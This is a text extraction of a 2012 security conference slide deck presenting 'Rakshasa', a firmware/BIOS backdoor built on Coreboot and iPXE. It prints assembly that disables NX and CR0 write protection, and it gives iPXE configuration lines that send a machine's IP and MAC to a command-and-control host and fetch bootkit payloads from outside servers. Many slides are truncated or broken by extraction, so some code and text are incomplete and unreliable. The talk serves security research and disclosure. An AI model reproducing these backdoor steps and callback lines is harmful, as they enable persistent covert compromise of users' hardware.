Hardware Backdooring is practical
Jonathan Brossard (Toucan System)
Ruxcon // 20/10/2012
DISCLAIMER
We are not « terrorists ». We won't release our PoC backdoor.
The x86 architecture is plagued by legacy. Governments know. The rest of the industry : not so much.
There is a need to discuss the problems in order to find solutions...
This is belived to be order of magnitudes better over existing backdoors/malware
Agenda
Motivation : state level backdooring ?
Coreboot & x86 architecture
State of the art in rootkitting, romkitting
Introducing Rakshasa
Rakshasa design
Why cryptography (Truecrypt/Bitlocker/TPM) won't save us...
Backdooring like a nation state
Who am I ?
-Security researcher, pentester
-First learned asm (~15 years ago)
-Presented at Blackhat/Defcon/CCC/HITB...
-Master in Engineering, master in Computer Sciences
-Co organiser of the Hackito Ergo Sum conference (Paris)
Likes : Unix, network, architecture, low level, finding 0days (mem corruptions).
Dislikes : web apps, canned exploits.
-Super pure English accent (French, learned English in India, lives in Australia... ;))
FUD 101
Could a state (eg : China) backdoor
all new computers on earth ?
More introductory material
Enough FUD...
A bit of x86 architecture
State of the art, previous work
Previous work
Early 80s : Brain virus, targets the MBR
80s, 90s : thousands of such viruses
2007, John Heasman (NGS Software) Blackhat US: backdoor EFI bootloader
2009, Anibal Saco and Alfredo Ortega (Core security), CanSecWest : patch/flash a
2009, Kleissner, Blackhat US : Stoned bootkit. Bootkit Windows, Truecrypt. Load arbitrary unsigned kernel module.
2010, Kumar and Kumar (HITB Malaysia) : vbootkit bootkitting of Windows 7.
Piotr Bania, Konboot : bootkit any Windows (32/64b)
2012 : Snare (Blackhat 2012) : UEFI rootkitting
Introducing Rakshasa
Goals : create the perfect backdoor
Persistant
Stealth (0 hostile code on the machine)
Portable (OS independant)
Remote access, remote updates
State level quality : plausible deniability, non attribution
Cross network perimeters (firewalls, auth proxy)
Redundancy
Non detectable by AV (goes without saying...)
Main idea (1/3)
Typical Corporate
Network
Main idea (2/3)
How things are
supposed to work
Main idea (3/3)
What is really going to happen
Rakshasa : Design (1/2)
Core components :
-Coreboot
-SeaBios
-iPXE
-payloads
Built on top of free software : portability, non attribution, cheap dev (~4 weeks of work), really really really hard to detect as malicious.
Supports 230 motherboards.
Rakshasa : Design (2/2)
Flash the BIOS (Coreboot + PCI roms such as iPXE)
Flash the network card or any other PCI device (redundancy)
Boot a payload over the network (bootkit over https)
→Boot a payload over wifi/wimax (breach the network perimeter, bypasses network detection, I(P|D)S )
→Remotely reflash the BIOS/network card if necessary
Rakshasa architecture (1/2)
Rakshasa architecture (2/2)
Rakshasa : embedded features
Remove NX bit → executable heap/stack.
Make every mapping +W in ring0
Remove CPU updates (microcodes)
Remove
Disable ASLR
Bootkitting (modified
*Thanks to Piotr Bania for his contribution to Rakshasa :)
Rakshasa : removing the NX bit (1/2)
MSR !!! Model Specific Register
AMD64 Architecture Programmer's manual (volume 2, Section 3.1.7 : Extended Feature Enable Register) :
protection feature. The feature is disabled when this
bit is cleared to 0.
Rakshasa : removing the NX bit (2/2)
; Disable NX bit (if supported)
mov |
eax,0x80000000 |
; get higher function supported by eax |
cpuid |
; need amd K6 or better (anything >= 1997... should be ok) |
|
cmp |
eax,0x80000001 |
|
jb |
not_supported |
; need at least function 0x80000001 |
mov |
eax,0x80000001 |
; get Processor Info and Feature Bits |
cpuid |
|
|
bt |
edx,20 |
; NX bit is supported ? |
jnc |
not_supported |
|
mov |
ecx, 0xc0000080 |
; extended feature register (EFER) |
rdmsr |
; read MSR |
|
btr |
eax, 11 |
; disable NX (EFER_NX) // btr = bit test and reset |
wrmsr |
; write MSR |
not_supported:
Make every mapping +W in ring0
Intel Manuals (Volume 3A, Section 2.5):
Write Protect (bit 16 of CR0) - When set, inhibits
4.1.3and Section 4.6). This flag facilitates implementation of the
Make every mapping +W in ring0
(32b/64b)
;32b version : mov eax,cr0 and eax,0xfffeffff mov cr0,eax
;64b version :
mov rax,cr0 and rax,0xfffeffff mov cr0,rax
Remove CPU updates (microcodes)
rm
Remove
Intel® 82845G/82845GL/82845GV Graphics and Memory Controller datasheets, Section 3.5.1.22:
SMM Space Locked
Remove
D_LCK is not supported by CoreBoot currently
anyway...
;disable D_LCK shellcode for Coreboot...
nop
Disable ASLR
-OS dependant.
-Seed for full ASLR has to be in kernel land (equivalent of execve()).
→ patch the seed with a known value
-Seed location for Windows 7 identified by Kumar & Kumar (HITB KL 2010).
→ Mapping is 100% repeatable :)
Rakshasa : embedded features :
conclusion
→Permantent lowering of the security level on any OS.
→Welcome back to the security level of 1997.
→Persistant, even if HD or OS is remove/restored.
Rakshasa : remote payload
Currently capable of Bootkitting any version of Windows (32b/64b) thanks to special version of
Bootkit future Oses ? → Update/remove/reflash firmwares (PCI, BIOS)
Rakshasa : stealthness
We don't touch the disk. 0 evidence on the filesystem.
The code flashed to motherboard is not hostile per si (there is one text file with urls in it.. that's it).
We can remotely boot from an alternate payload or even OS : fake Truecrypt/Bitlocker prompt !
Optionally boot from a WIFI/WMAX stack : 0 network evidence on the LAN.
Fake BIOS menus if necessary. We use an embedded CMOS image. We can use the real CMOS nvram to store encryption keys/backdoor states between reboots.
Rakshasa : why using Coreboot/SeaBios/iPXE is
the good approach
Portability : benefit from all the gory reverse engineering work already done !
Awesome modularity : embbed existing payloads (as floppy or cdrom images) and PCI roms directly in the main Coreboot rom !
Eg : bruteforce bootloaders (Brossard, H2HC 2010), bootkits without modification.
Network stacks : ip/udp/tcp, dns, http(s), tftp, ftp...
make your own (tcp over dns? Over ntp ?)
Code is legit : can't be flagged as malware !
Exemple iPXE configuration files :
get an IP
#!ipxe
#try dhcp first, else use static IP
dhcp || ( set net0/ip 192.168.0.3 && set net0/netmask 255.255.255.0 && set net0/gateway 192.168.0.1)
Exemple iPXE configuration files :
fun with webapps...
#evil pingback to C & C internet blog with HTTP auth...
kernel http://admin:[email protected]/xmlrpc.php?ip=$ {net0/ip}&mac=${net0/mac}&netmask=${net0/netmask}&gateway=$ {net0/gateway}&dns=${net0/dns}&domain=${net0/domain} ||
#Send an email using open relay web application
kernel http://vulnerablehost.com/vulnservice.asp?
#Rooter pharming : modify firewall settings
kernel
kernel
Exemple iPXE configuration files : chain configuration loader from the web
#chain loader over https
chain https://www.pmcma.org/ads/love.jpg?ip=$ {net0/ip}&mac=${net0/mac} ||
Exemple iPXE configuration files :
boot an alternate OS/bootkit
#discard everything done so far imgfree
#fetch memdisk kernel over the internet via ftp kernel ftp://ftp.pmcma.org/pwnage/memdisk.pdf ||
#fetch bootkit payload over the internet via http
initrd
#boot boot